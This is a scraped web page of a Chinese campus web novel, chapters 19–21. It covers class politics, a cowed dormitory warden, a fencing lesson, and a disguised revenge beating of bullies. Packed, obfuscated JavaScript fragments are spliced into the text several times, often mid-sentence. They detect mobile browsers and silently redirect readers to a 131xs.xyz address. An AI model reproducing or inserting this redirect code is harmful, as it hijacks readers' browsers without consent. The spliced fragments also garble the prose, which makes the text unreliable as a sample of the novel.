l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457218|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 诺布莱斯餐厅的包间可没有监控。 “你那表情真猥琐。随便你,反正私生子而已,也没有继承权。”埃迪无所谓地说了一声,他随后压低了声音,瞥了一眼墙角那里的脸色阴沉的方盛寒,“看他的样子,好像早知道贺衍和贺家的关系了,真不知道他怎么想的。” 路德维格耸了耸肩,毫不在意地说道:“为了贺琚呗,不过我看见贺琚昨天下午离开圣洛莱索了,不知道他清不清楚昨晚发生的事。” 坐在第一排的嵇雅君耳朵一动一动,听着后面两个人说话,老天奶,怎么没人告诉自己这个消息,贺衍要转到一班了。 贺琚领着贺衍刚走到了一班门前,方盛寒听到门外的动静,立刻冲了出来。他把人拦到门外面,双拳紧握,语气很冲:“你这个家伙——” 贺衍盯着方盛寒,忽然笑了,原来他也在一班啊。贺衍露出了很普通的笑容,而且是肉眼可见的开心。 方盛寒第一次看见贺衍这样笑,不是学院大门那里冰冰冷冷的无视,也不是昨天那种带着厌恶和挑衅意味的笑。他只是唇角微微向上,眉眼微弯,可泪痣却让眼尾的那抹红愈发显眼。 方盛寒忽然什么话都说不出来了。 贺衍不知道这家伙的心理活动,他扫了方盛寒一眼,越过他走进了一班。 贺琚指了指窗边,“哥哥,那是你的位置。” 贺衍顺着贺琚的视线,第一眼就看到了窗边的裴屷。他此时正在静静翻阅着一本书,纤长的手指翻开书卷,仿佛自成一个世界。 贺琚悄声说道:“昨天在这里坐着的还是另外一个学生,不过现在,他已经到二班去了呢。真巧呢,对吧,哥哥。” 贺衍没有再看贺琚,他只是拉开椅子,坐在了裴屷的身后,把那摞从湖边拿回来的书放到了桌面上。 听说圣洛莱索的图书馆极其丰富,那一定有联邦律法这类的书吧。清风送来徐徐的桂花香气,贺衍眉眼舒展,望向窗外,正好可以看见图书馆的塔尖。 自始至终,前面的那个身影没有分过来半分注意。 19. 第 19 章 路德维格看到贺衍,眼睛一亮,他正准备起来去找他,第三节的上课铃就响了起来。 这一节是艺术鉴赏课,戴着老花镜德高望重的老先生正在认真地讲解着屏幕上的珍品——一尊色彩艳丽、富丽典雅的掐丝珐琅莲纹炉。 老先生的语调抑扬顿挫,将这件宝物的历史一一道来,“这尊掐丝珐琅在上个世纪出土于姆扎州,距今大约有六百年的历史了。那个时候帝国还不存在,军阀割据,政权更替频繁,这尊珐琅连纹炉是当时姆扎州的宫廷器具……” 贺衍对艺术向来没什么欣赏的心思,他听完简单的介绍,思绪就渐渐飘远了。但是表面上看着,依旧一副认真听讲的样子。 “这是一件不可多得的高水平的丝珐琅作品!不仅釉质莹润,中间的玻璃清透,而且珐琅色泽浑厚协调,各种元素融合到一起,无疑是一件稀世珍宝。” “可惜了,”老先生摇了摇头:“若不是当时我被邀请过去做鉴定,此生也难见如此精美的掐丝珐琅炉。这尊珐琅作品目前属于私人藏品,不能让大众近距离在博物馆欣赏,真是可惜了。” 路德维格无聊地眨了眨眼,他知道这东西,当初还是经过他家的拍卖行被拍走的。掐丝珐琅莲纹炉是那场拍卖会的压轴珍品。不过他记得这物件的起拍价只有六千多万,价格到一亿后已经没什么人继续竞价了。 就在所有人都以为这件藏品尘埃落定的时候,忽然有人直接加价到一亿五千万,一锤定音。 他记得最后拍下这尊掐丝珐琅莲纹炉的人约莫是姓俞。 路德维格的心思完全不在课上,他每隔几分钟,眼睛就控制不住地往后面看,恨不得现在就下课冲到贺衍面前。 日丽风清,天气晴和,光线透过浓密的树叶撒落到室内,斑驳摇曳的光影分明。 犀颅玉颊,贺衍的脸庞轮廓也在光影下愈发分明,路德维格的视线几乎黏在了他身上,甚至忽略了前方存在感极强的裴屷。 一班的教室一排也是四个人,路德维格坐在第五排的中间靠右,他扭头往后左后方看的动作幅度不大,但是在只有二十九个人的教室里极为明显。 讲台上的老先生声音停顿了下,迈着步子从教室右侧走了下来。 裴屷抬眸,往右前方看了一眼,路德维格和裴屷对视,看到异色双眸的瞬间,路德维格心里一跳,立刻把头扭回来,又和站在一旁的老师对视了。路德维格抿着唇,尴尬地笑了笑。 声音怎么停了,贺衍思绪回笼,他眨了眨眼,扫了一眼教室,又百无聊赖地看向了窗外,不远的地方,那座带着尖塔的小型城堡就是图书馆。 贺衍打算中午吃完饭就去图书馆,把联邦律法这本书借出来。 第三节的下课铃终于响起来了,路德维格整理了下衣领,走到贺衍身边轻咳了一声,“贺衍同学,昨天是我失礼了。作为道歉,中午我想请你吃饭。” 裴屷听到贺衍的名字,正在翻动书页的手微不可察地顿了下,湖边的亭子,那些书的主人,原来就是他吗? 裴屷敛眸,找到书签,继续看起了书。 贺衍掀起眼皮,不假思索地拒绝了,“不用,我中午有事。” 路德维格还想继续再说什么。 贺琚不知道什么时候也走了过来,“不行呢,哥哥已经约好和我一起吃午饭了。” 路德维格扯了下嘴角,定定地看了贺琚几秒,随后,他耸了耸肩放弃了再继续纠缠。 方盛寒一直在最后面盯着,紧绷着一张脸,他轻啧了下,抿着唇不知道在想什么,但还是没做什么。他站起来离开了教室,动作幅度极大。 贺琚站在座位旁边,没有离开,也没有说话。 贺衍抬头看着贺琚,双目相对,他扯了下嘴角,说了句多谢。 贺琚睫毛颤抖着,愉悦的情绪从唇角向上蔓延,双眸黑亮,笑意盈盈。 中午下课,教室里的人已经走得差不多了,贺衍没有随着人流离开。他准备先回寝室把那些书放回去,去超市买些吃的在宿舍解决午餐,然后就去图书馆。 教室大门,贺琚忽然探出了头,微卷的碎发随着动作微微摇曳,他笑得勾人,愈发冶容秾艳,“哥哥,刚才我可帮你解围了,哥哥难道不打算和我一起吃午饭吗?” 贺衍站起身,走到贺琚身旁,垂眸望着模样异常乖巧的贺琚,声音平静:“银行卡号先告诉我,否则一切免谈。” 贺琚唇角微弯,笑意却不进眼底,眸中的墨色涌动,他其实并不在乎这一百万,可是总感觉就这么轻易地告诉贺衍,就好像输掉了什么。 将近十二点半,大多数学生还在餐厅用餐,圣赛尔大厅空无一人。 今天值白班的宿管是鲍里斯,强忍着困意,他猛灌了一口咖啡,又往嘴里塞了好几块黄油饼干。 贺衍背着书包从摆渡车上下来。 鲍里斯眼尖地瞥到了贺衍,眼睛眯成一条细缝,脸上满是恶意和嘲弄。 昨天下午六点多,鲍里斯正准备交班的时候,忽然听到几个学生在大厅聊天,声音不算很大,但鲍里斯却听清了,他们在说游泳馆发生的事,声音肆意毫不掩饰,满是得意和愉悦。 鲍里斯听到了贺衍的名字,他吐出一口闷气,嘴角都快上扬到眉毛那里了,真是大快人心啊,这种不守规矩不懂尊卑的贱民,就应该被狠狠教训一顿。 他昨晚等到晚上七点多,一直都没见到贺衍,只好和其他值班的人换岗。可不能亲自看到这小鬼的惨模样,鲍里斯总觉得心有不甘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457219|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天的值班还是他亲自和别的宿管调换的。 等到贺衍走进大厅之后,他这次不仅没躲,反而主动打了招呼,“贺同学,听说昨天下午,游泳馆可是发生了一场好戏。” 贺衍听到声音,侧目。 清晰透亮的玻璃后面,鲍里斯满含恶意地笑着开口,“啊,对了,这场戏的主演好像正是你啊。” 贺衍表情几乎没什么变化,他迈着步子走向值班室。 鲍里斯看到他的动作,立刻往后弹腾了下,连椅子带人往后退了一米多。他瞥了眼值班室的大门,呼出一口气,还好他从那天之后就学会了一进值班室就锁门。 鲍里斯哼笑了一声,脸上的肥肉也跟着颤了几下,“我就说你不会有好果子吃的,该死的灰老鼠,要是你还学不会夹着尾巴做人,我也不介意那些人再好好教训你一顿。” 贺衍挑了下眉,敲了下玻璃,“鲍里斯,你的嘴巴最好放干净点,我现在的心情不是很好。” 鲍里斯嗤笑,“贱民,你以为你是谁,我还要看你脸色?!!我可是听到那几个大少爷说了,他们不只往你身上倒冰水,还特意把空调温度给调低了,遭报应了吧,哈哈哈哈。” 贺衍眼底划过一丝深思,冰水这件事很多人都知道,但是空调温度—— 人怎么不见了,鲍里斯正奇怪着,就听到大门那里忽然有什么动静,门把手正上下晃动。 门忽然就开了。 贺衍推开了门,挑了下眉,打了声招呼:“中午好啊,鲍里斯。” 他明明关门了,鲍里斯脸上的肥肉开始颤抖,手上的黄油小饼干啪叽一下掉落到大肚腩上,弹了几下后落在地面,碎成了几块。 “你……贺衍同学,有话好好说,君子动口不动手。” 贺衍眨了眨眼,“你觉得我是君子吗?” 鲍里斯大口喘着粗气,身上满是饼干碎屑,他动也不敢动,“那你想干什么。” 贺衍垂下眼睛,看不清眸中的神色,“你是听哪几个‘大少爷’说的?” 玻璃窗忽然又被敲响了,黑发微卷的青年站在窗外,饶有兴致地看着里面,不知道在这里站了多久。 “哥哥,你怎么在这里面?” 青年把视线移到鲍里斯身上,轻笑着说道:“这位宿管先生,我来帮贺衍办理换宿手续,你能在文件上签个名吗?” 他胸前徽章上的红色钻石在光线下折射出异常刺眼的光,鲍里斯觉得自己眼睛快要瞎了,耳朵或许也聋了。 什么哥哥,什么换宿舍,这个A级的少爷怎么会喊这个贱民哥哥。 鲍里斯以为今天能好好嘲笑贺衍一顿,能够看到贺衍被收拾后惨样子,能够让自己狠狠解气,可是现在到底怎么回事?!! 20. 第 20 章 不过瞬间,鲍里斯的脸就白了,那张挤满肥肉的脸上满是谦卑,神色比刚才还要恐惧和卑谦。 他的瞳孔紧缩,汗毛几乎全部竖起来了,冷颤一阵又一阵袭向后背。鲍里斯内心崩溃地大叫,恍然无措。贺衍怎么会是A级学生的哥哥,他明明是一个再低劣不过的D级而已。 他僵硬地转过头看向贺琚,站在窗外的人极其貌美,笑容也很温和,但鲍里斯却下意识地缩了下脖子,他喉咙紧绷,声音干涩:“当然可以,为您服务是我的荣幸。” 鲍里斯站起来走到窗户边,打开了一条缝隙,拿走了贺琚手里的文件,颤抖着签完名字之后,又极其恭敬地递了回去。 不过几句话而已,这位气焰嚣张的宿管先生的态度就来了个一百八十度大转弯。 权利的力量,贺衍眸色暗沉,眼中的嘲意一闪而过。不过,往好了想,这下也好办了,至少不用再花那么多功夫撬开这家伙的嘴。他要问的事情,估计鲍里斯现在也不敢不说了。 贺琚看着站在那里一言不发的贺衍,眼角弯了弯,“哥哥,我们上去搬行李吧。” 贺衍清楚自己早晚都要搬宿舍,可贺琚不事先告知就直接来这一出,真是高高在上惯了。 贺衍淡淡地扫了贺琚一眼,语气微冷,“我还有事要问他,你既然不请自来,那就等我问完,别碍事。” 贺琚笑容更加灿烂了,音色清透却又诡异地带着甜蜜,“当然了,我会等着哥哥的,我可是很听哥哥的话的。” 贺衍眉头轻蹙,好好一个人,怎么就长了张嘴,不能正常说话吗。 贺衍径直走向鲍里斯,在距离他半米的地方停了下来,垂眸看着他,睫毛遮挡住了光线,眸色比刚才还要深。 鲍里斯看了眼贺衍,像是在看什么凶神恶煞的猛兽,他咽了口唾沫,牙齿莫名打战,“贺同学,我原来,我之前——” 贺衍语气冰冷,“刚才我问的问题,还记得吧?” 鲍里斯缩着脖子点了点头,模样很是滑稽,片刻,他又立刻摇头,语气愈发恭敬谦卑,“那个,您,您再说一遍。” 前后的态度,趋炎附势的模样真是让鲍里斯展现了个淋漓尽致。 贺衍唇角轻扯了下,“游泳馆空调温度,你是听哪几个‘大少爷’说的?” “我现在就想,现在就想,”鲍里斯舔了下嘴唇,忽然,他眼睛一亮,语气激动地说道:“我想起来了,里面有一个是棕色头发的。还有几个人我记不清了。” 贺衍静静地俯视着他,神色未变,但鲍里斯却心里一哆嗦,他又咽了口唾沫,“要不,我帮您找找监控,但拜托您可千万不要将这事告诉其他人。” 贺琚眼睛微眯,眼底划过一抹深思,游泳馆空调,看来昨天下午自己离开之后,游泳馆的确发生了一些事情啊。 贺琚看了眼对峙的两人,若有所思地打开了手机。过了片刻,他的神情凝固了一瞬,眼神有些吓人。 值班室内,鲍里斯抖着手点开监控,他止不住地咽着唾沫,再点错了两遍之后,终于找到昨天的那个时间段,他暂停了进度条,“那个您看,就是他们四个。” 贺衍面无表情地拿出手机拍了张照,“多谢。” 鲍里斯立刻摇头,脸上的肥肉一颤一颤,连忙弯了几下腰,“这都是我应该做的,您不计较我就好,这——” “我知道了。”贺衍没兴趣听他说道歉的话,起身离开,顺带关上了门。 贺琚站在门外等他,看到贺衍出来,他笑着走近,语气莫名其妙,“哥哥,你问完啦。” 这家伙怎么突然变得这么奇怪,贺衍眨了下眼,睫毛轻颤了下,眼下的泪痣愈发醒目。 贺琚情不自禁地盯着那颗泪痣,眸色渐渐暗沉下来。 他知道贺衍会在学校里受到欺负,甚至最开始也是冷眼旁观的,但是这种程度的欺负,贺琚眸色中闪过一丝冷意,真是奇怪了,他为什么心里会有点不舒服,明明之前根本不会在意这种事情。 贺琚眼睛闪烁,啊,他知道了,因为这是自己的玩具,没有经过自己的允许,怎么能被别人欺负呢。 “哥哥,如果遇到什么事情了,也可以问一下我。”贺琚眉眼弯弯地看向贺衍,如果下次哥哥再遇见这种事,如果哥哥向自己求助的话,贺琚微眯了下眼,心底莫名战栗,带着某种无法言说的愉悦,他忽然有些期待这种事情的发生。 贺衍按下电梯按钮,这种若有所指的话,他可不相信贺琚这家伙会有这么好心,“我还真有事想问你。” 贺琚表面如常,呼吸却急促了一瞬,他笑着看向贺衍,“什么事?” 电梯到了,伴随着开门的声音,贺衍哦了声,语气平淡:“图书馆借书的流程,圣洛莱索学院指南上写得不太清楚,我想问你一下。” 贺琚唇角微不可察地抽了下,居然是这种事情嘛。他保持着微笑告诉了贺衍,得到了贺衍一句语气平淡地感谢。 贺琚无法形容自己现在是什么心情,他笑容扩大,面容愈发秾艳,像是盛开的玫瑰一样,馥郁芳香,但眼底却不见丝毫笑意。 贺琚漫不经心地抬眸,盯着贺衍的发梢,啊,感觉好像被哥哥耍了呢。 电梯上行到五楼,贺琚跟在贺衍后面进入宿舍。 贺衍把书包里的东西拿出来,放到桌面上。除了一眼就能看出被浸泡过的课本之外,还有两个面包。 “哥哥午饭就吃这个吗?”贺琚的声音里带着恰到好处的疑惑。 贺衍手中的动作没停,只是敷衍地嗯了声,就继续收拾东西。 贺琚不再自讨没趣,反而饶有兴趣地环视着房间,书桌上的书整齐地按照顺序从高到低摆放着,衣柜里的所有的衣服按照颜色季节分类地挂在那里,甚至连床铺都没什么明显折痕。 贺琚眨了下眼,他踱步走到书桌前,注意到了桌面上的黑色钢笔,这支钢笔看着有些年头了,虽然有几处磨损,但不难看出主人对这支钢笔的爱护。 贺琚轻轻拿起钢笔,随后又放回了桌面上,只是钢笔的角度不再与书本平行,有些歪了。 “别乱动我的东西。”贺衍盯着桌面看了眼,然后看了眼一脸无辜的贺琚,他抿了下唇,他下意识想把钢笔挪正,但下一秒还是把钢笔放进了书包里。 他又瞥了眼贺琚,眼神里的嫌弃不言而喻。 “抱歉哥哥,是我不好。”贺琚语气诚恳,眼底却含笑,他摩挲下刚才触碰钢笔的指尖,脑海中忽然飘过一个念头,啊,他发现了,哥哥好像是有强迫症啊。 贺琚嘴角噙着笑意,阳光落进深黑的眸中,点亮了瞳孔深处。贺琚的视线一直落在贺衍的身上,不知道是在发呆还是在想什么,注视着贺衍的一举一动。 贺衍后颈发凉,他加快了整理的动作。东西不是很多,十分钟不到,贺衍收拾好了。 鲍里斯坐在窗户后面,神色呆滞,还沉浸在刚才的情绪中,还没等他平复心绪,就又看到了恐惧的源头。他缩了缩脖子,再次把自己藏起来。 马上就要一点了,圣赛尔公寓的学生陆陆续续地回到宿舍。 “等等,那是贺琚吧,他怎么会在这里。” “他后面,我艹,他后面是贺衍。他俩,他俩不会真是——” “嘘,小声带,别让他们听见。” 嘈杂的议论在圣赛尔公寓的门前陆续响起,贺衍把行李箱塞到贺琚的专车后面,然后关上了后备厢大门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457220|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 贺琚有些疑惑地问道:“哥哥,你不上来吗?” 贺衍转身,随意地挥了挥手,“我还有事,麻烦你把行李带过去了。多谢。” 生疏又礼貌的话语还未落,贺衍人已经登上摆渡车了。 “师傅,去图书馆。” 摆渡车扬长而去,人影很快消失在贺琚的视线中。 贺琚莞尔,唇角情不自禁地溢出一丝笑,野性难驯,才更有挑战啊,什么时候能看到哥哥认输呢。 不过要是贺衍真的变得和其他人一样的话,那可能也没什么意思了。 贺琚升上车窗,脸上的笑容逐渐消失,神色愈发平静,眼眸如墨,“查查除了方盛寒之外,昨天有谁对贺衍下手了。” “是,少爷。” 尖塔在视野中越来越大,图书馆也越来越近。 贺衍的目光落在手机屏幕上,高清的监控下,四个人的面孔清晰可见、棕色头发的人是安东·哈里曼,另外三个人贺衍不清楚名字,但他也都见过,在刚来圣洛莱索的那天晚上。 贺衍收起手机,他从书包里拿出面包,一口一口地咽下,神色平静。 图书馆的建筑风格古朴又庄重,墙壁上雕刻着精细复杂的图案,象征着智慧的猫头鹰,代表着知识的橄榄枝, 贺衍拿出学生卡,走进了图书馆。 走进的瞬间,书本特有的墨香与橡木的味道交织在一起,扑面而来。 光线从高处透过精致的玻璃窗户,洒在深色的木质地板上,形成斑驳的光影。图书馆内部,高耸的书架仿若森林中的巨树,盘根错节,密密麻麻地排列着,一直向上延伸,直到穹顶。 图书馆很安静,人并不多,有一些学生在看书,有一些人在小憩。 贺衍放轻脚步,走到了律法专区。 五分钟后,贺衍找到位置坐下,《联邦宪法》四个烫金大字在红色的封皮上越发醒目。 贺衍翻开目录,指尖在目录上轻轻滑动。 隔着书架另一边的书桌上,裴屷正在专注地翻阅着一本书,他已经看到了这本书的最后的部分。 半小时后,裴屷合上了书,书籍的封页图片是一架飞机。 裴屷合上书走近书架,把书本重新归位,透过书架的间隙,他看到了在那里看书的贺衍,模样专注又认真。 裴屷动作微微停顿,把书放回去后,离开了图书馆。 书页翻动的声音停止,贺衍若有所思地合上了书,联邦的法律体系有很多相似之处,但最根本的底层逻辑却截然不同,公平正义的确在法律中存在,但讽刺的是,特权阶级凌驾于法律之上,居然是一种共识。 贺衍离开图书馆的时候是下午两点三十多,贺衍点开手机,打开圣洛莱索的地图。 击剑课的上课地点在综合运动馆,和上次篮球课是同一个场馆,真是容易让人联想到不好的回忆。 贺衍揉了揉额头,他本来报的是散打,毕竟他听闻圣洛莱索的散打教练很有名。但击剑这种东西,他是完全没有接触过,也没什么兴趣。 贺衍呼出一口闷气,神色冷郁,屏幕上突然弹出来一条微讯好友申请:[哥哥,我是贺琚。银行卡号已经发给哥哥啦,晚上一起吃饭怎么样。] 贺衍抿唇,贺琚是怎么一回事儿,从中午开始就很奇怪。贺衍同意了申请:[吃饭今晚没空,明天吧。] [哥哥居然回复得这么快,那说好了,明天中午哥哥可不能再一次拒绝我了,到时候我会给哥哥一个惊喜的。] 什么惊喜,他不给自己惊吓还差不多。 贺衍眸色渐深,今天晚上,他的确有事情要做,他不是什么圣母,可不打算放过欺负自己的人。 21. 第 21 章 第21章 综合体育馆。 已经是两点五十五,但贺衍的脚步依旧平缓,面容也不见什么急迫。他根据场馆内的指示,迈步走进击剑馆。 击剑馆内部有三个场馆,教学的师资队伍也有所不同。 前台,工作人员看了一眼贺衍的学生证,在电脑上查阅之后,“您的场馆是一号馆,在东侧,从这里进去之后左转就到了。” 场馆内,一块长方形的专业赛道占据的场馆的左侧,周围的一圈防护栏将比赛区和练习区划分开来。 裴屷面容沉静,他穿着白色击剑服,正低头擦拭他的剑,旁边的椅子上放着一顶灰白的金属面罩。 一号场馆是击剑馆内的专业场馆,学生的水平都相对较高,因此人数也是最少的。 目前,场馆内包括教练在内只有六个人,除了裴屷之外,剩下四人两两坐在一起,而且离他都很远。 一号馆内教练这次没有穿击剑服,他穿着一身运动套装,他的手臂上还缠着一圈石膏,用绷带搭在脖子上,“昨天不小心摔倒了,本来还想着今天开学第一节课,和大家对练一下检验一下大家的水平来着。不过也没关系,今天的课程改为自由练习,我会在旁边指导的。” “要是有人想比赛,也可以现在跟我说一声,我来当裁判。” 教练看了眼场馆内明显已经组好队开始练习的四个人,有些尴尬地干笑了两声,“裴屷,主要是你水平太高了,那四个是你的手下败将。” 裴屷淡然地将剑放到一旁,长眉凤目,薄唇挺鼻,表情自始至终没什么变化。 教练眨了下眼,“对了,裴屷,今天要来一个新学生,他好像是个转学生,不过能直接到咱们这个场馆,那肯定水平不错。一会儿你们俩——” 转学生?裴屷脑海中闪过一个身影。 贺衍换好衣服,就在这时候走进了一号场馆,正在讲话的教练一眼就看见了他,“诶,你是贺衍对吧,快过来,快过来。” 贺衍愣了下,这人怎么这么激动。 教练咳咳了两声,自我介绍了一下:“我姓王,你喊我王教练就行。贺衍,你一会儿和裴屷一起对练吧,有什么问题问我就行。” 王教练完全没给人反应的机会,说完转身就走,走到场馆一侧坐下后,他才长舒了一口气,眼底闪过一丝心虚。 裴屷微微垂眸看向贺衍,眼睛里却没有映入任何东西,一眼望去,深邃无垠。 两人的视线交错。 裴屷看了眼贺衍拿剑的姿势,凤眸轻闪,音色清冷低沉,“你最好选择三号场馆,一号场馆不适合你。” 他的面容冷淡,语气平静,周身的气场矜贵自持,天然带着一种不可接近的距离感。 贺衍能感受到他的语气没什么恶意,如果不是贺忠载的要求,他可能也不会来这里。 贺衍低头看了眼手里的剑,又看了周围已经开始对练的人,调整了一下握剑的姿势,他掀起眼皮,“嗯,只是我现在没有选择罢了。” 裴屷敛眸,眸色微沉。 没有选择。 父亲也曾经提起过和贺家想要和裴家联姻的事情,但他明确拒绝了。他以为这件事就这么结束了,莫非,贺家还没有死心吗? 王教练一直观察着他们,他站在原地纠结了一会儿,还是走了过去,“那个,你们两个怎么不开始?” 贺衍直说道:“王教练,我是新手,原来没接触过击剑这项运动。” 王教练啊了一声,眼神闪烁,他满脸错愕地惊呼道:“那你怎么分到这个场馆的” 王教练叹气,然后犹豫地看向裴屷,“裴屷,要不这节课先麻烦你帮贺衍一下,教教他最基本的知识。” 裴屷眉宇间一片淡漠,“三号场馆的教练比我教得好。” 王教练叹了口气,“可今天就一号场馆上课啊,裴屷,你看我今天这状态,也没办法教,要不也不会拜托你啊。” 裴屷看了眼教练,若有所思,“可以。” “贺衍,现在教务系统已经关闭了,你这个学期选了这个课,只能按照一号场馆的标准考核。这段时间你多请教一下裴屷,他的水平很高。” 王教练说完后,松了一口气,像是完成了什么任务一样。 这个教练,全身上下都是破绽啊,贺衍眉头微挑,眼底划过一抹深思。说话的时候眨眼频次过高,目光游移,语速变化太快。而且,如果手臂真的严重到需要打石膏,那怎么刚才还抬起那只手呢。 贺衍扯了下嘴角,这位王教练大概率是被贺忠载收买了。他看了眼裴屷,“他在说谎,你应该也看出来了。” 裴屷眉梢微扬,“他的目的,难道不正是你的目的吗?” 贺衍轻笑,带着些自嘲的意味,他微眯了下眼,“你倒是看得清楚,那刚才怎么不直接拒绝。” 裴屷俯身拿起剑,戴上了面罩,没有回答贺衍的问题,反而说道:“戴上面罩,击剑最基本的动作包括持剑姿势……我会给你示范一遍,你跟着学。” 裴屷的动作极其标准,不仅出剑迅速,而且极具力量。贺衍每进行一个动作,他都会进行点评指正。 前面几个动作简单的练习结束后,贺衍开始学习直刺。 裴屷站在一旁看着,冷淡的声音从灰白的金属面罩中传出,带着某种沉闷感,却又像是大提琴的低鸣,“手腕出击不对,你要用腰部的力量来控制剑的走向。” 他又给贺衍示范了一遍。 贺衍点了点头,再次练习。 距离下课结束还有十几分钟,最基础的教学动作已经教学完毕。 贺衍把面罩摘下来,脸颊微红,眼眸仿佛盛满星碎,眼下的泪痣微微泛红,夺人眼球。 裴屷瞥了他一眼,把剑放到一旁,也摘下了面罩,表情依旧平淡,似乎没什么能激起他的兴趣。 贺衍:“多谢,今天下午麻烦你了。” 贺衍不清楚为什么裴屷明知道教练在撒谎,还依旧答应这件事。但和裴屷自己说的不一样,他是一个很好的老师。 贺衍正准备收拾离开,裴屷突然出声了,“你的地盘很稳,你学过散打吗?” 贺衍看着他笑了下,“如果没有意外,我今天下午应该在散打教室。” 贺衍的睫毛上还沾着一滴水珠,说话的同时,水珠从睫毛上滑下,落入锁骨。他的睫毛忽闪着,那双眼睛更加夺目了,他勾了勾唇角,“裴屷,虽然不知道你怎么想,但我的确不想和教练的目的一样。” 裴屷愣了下,他抿了下唇,看着贺衍的背影,不想一样,但还是一样吗? 贺衍没有在击剑馆过多停留,他冲完澡换好衣服,和往常一样到二餐厅吃饭。 周围的学生看他的目光依旧带着厌恶和嘲讽,但当贺衍看过去的时候,没有人再敢和他对视。 即便在所有人都认为贺衍只是私生子,但从四班转到一班,贺衍的身份已经和之前不同了。圣洛莱索学院等级的压制,仿佛刻在他们的骨子里一样。 夜色如幕,安东吃饱喝足,慢悠悠地走进了圣赛尔公寓,他回到房间把东西扔到床上,还没打开灯,脑袋就被蒙上头罩,不过瞬间整个人就被粗绳绑了起来。 恐慌和愤怒同时出现,安东咬着牙一顿臭骂,却根本挣扎不开绳子的束缚。 他听到脚步声离开,好像是打开了浴室的门。眼前的一片漆黑,让他的恐惧感加倍,他剧烈地挣扎,却全然无用。 脚步声又出现了,安东心脏几乎要蹦出胸膛,恐惧害怕各种恐怖的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457221|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脑海中盘旋,他吓到几乎说不出任何话,大脑一片空白,只有嘴还在机械性地骂着:“你是谁,你要干什么,艹你——唔唔唔——” 一团不知道什么味道的毛巾被塞到了嘴里,他瞬间什么声音都发不出来了,就像案板上的鱼,扑腾挣扎却逃不过最终的命运。 拳头落在身上,在无言的恐惧下,疼痛加剧。黑色头罩下的眼睛满是红丝,他的表情僵硬,只留下了惊惧的神色,连呼吸都是痛苦。 安东晕了过去。 看到他挣扎的动作停止了,房间里的另外一个人歪了下头,又给了他一拳。靠在墙上等了一会儿,才解开了他身上的绳子,把毛巾从他嘴里扯出来,重新放回了浴室。 他拍了拍手,扯下他头顶的黑布,脚步轻快地离开了房间。他看了眼时间,用铁丝打开了另一间房门,继续“守株待兔”。 等安东醒来的时候,他身上的绳子已经消失不见了。如果不是身上一阵又一阵的疼痛,还有嘴里残留的味道,他还以为刚才不过是一场噩梦。 整个房间和之前一样,没有任何东西丢失。只有桌面上,多了一张卡片。 安东看到卡片的模样,瞳孔紧缩,下意识屏住了呼吸,那张卡片上只有一个徽标,那是贺家的家徽。 贺家,安东咽了下唾沫,他对贺家的人做过什么吗?贺,贺衍—— 贺忠载对贺衍这么看重吗,安东脸色唰一下地白了,他忍着全身上下像是被卡车碾压过一般的剧痛,跌跌撞撞地跑到监控室。 圣赛尔公寓只有一楼大厅入口处和电梯内有监控。 什么都没有,监控一切正常,好像所有的一切都是他的错觉一样。 安东喉咙仿佛被一双无形的大手掐住了,跌坐在地上。 他的身后,另一个人也蹒跚地走了过来,声音同样慌张:“安东,晚上有人进你宿舍吗?” 一个小时前。 贺琚站在窗前举着手机,他望着远处图书馆的塔尖,“都收拾了吗?” “少爷,进去的时候,那些人的房间都没锁,而且都晕在床上。” 贺琚的眸色黑沉,他微眯了下眼,被人捷足先登了吗,会是谁呢? 很快,几段监控就传到了贺琚的电脑上,这是保镖调取监控记录后锁定的人选。 传过来的片段里,一名穿着橘黄色工作制服的维修工在晚上七点十分出现在了圣赛尔公寓,完美地躲避了大厅内的监控摄像头,甚至电梯的监控里也没有拍到他的脸。 几乎全身上下都被工作制服包裹着,手套,帽子,将他的特征完全掩盖。他有些驼背,但是不难看出身高不低,右手提着工具箱,看起来和普通的修理工完全一样。 而且离开圣赛尔公寓后,监控就再也拍不到他的人影了。 这个人是谁? 贺琚琢磨思索,手指轻敲桌面,若有所思地盯着唯一一张照到维修工正面的镜头。 但即便是高清的镜头,放到最大也只能看到一丁点下巴。不论是穿着还是走路姿态,一切都符合一个维修工的身份。 不对,贺琚再看了一遍,突然放大某个画面。 贺琚低笑出声,没有人能从监控里看出这是贺衍,除了自己。 贺琚狭长的眸中忽然闪过一丝亮光,唇角的弧度更大了。 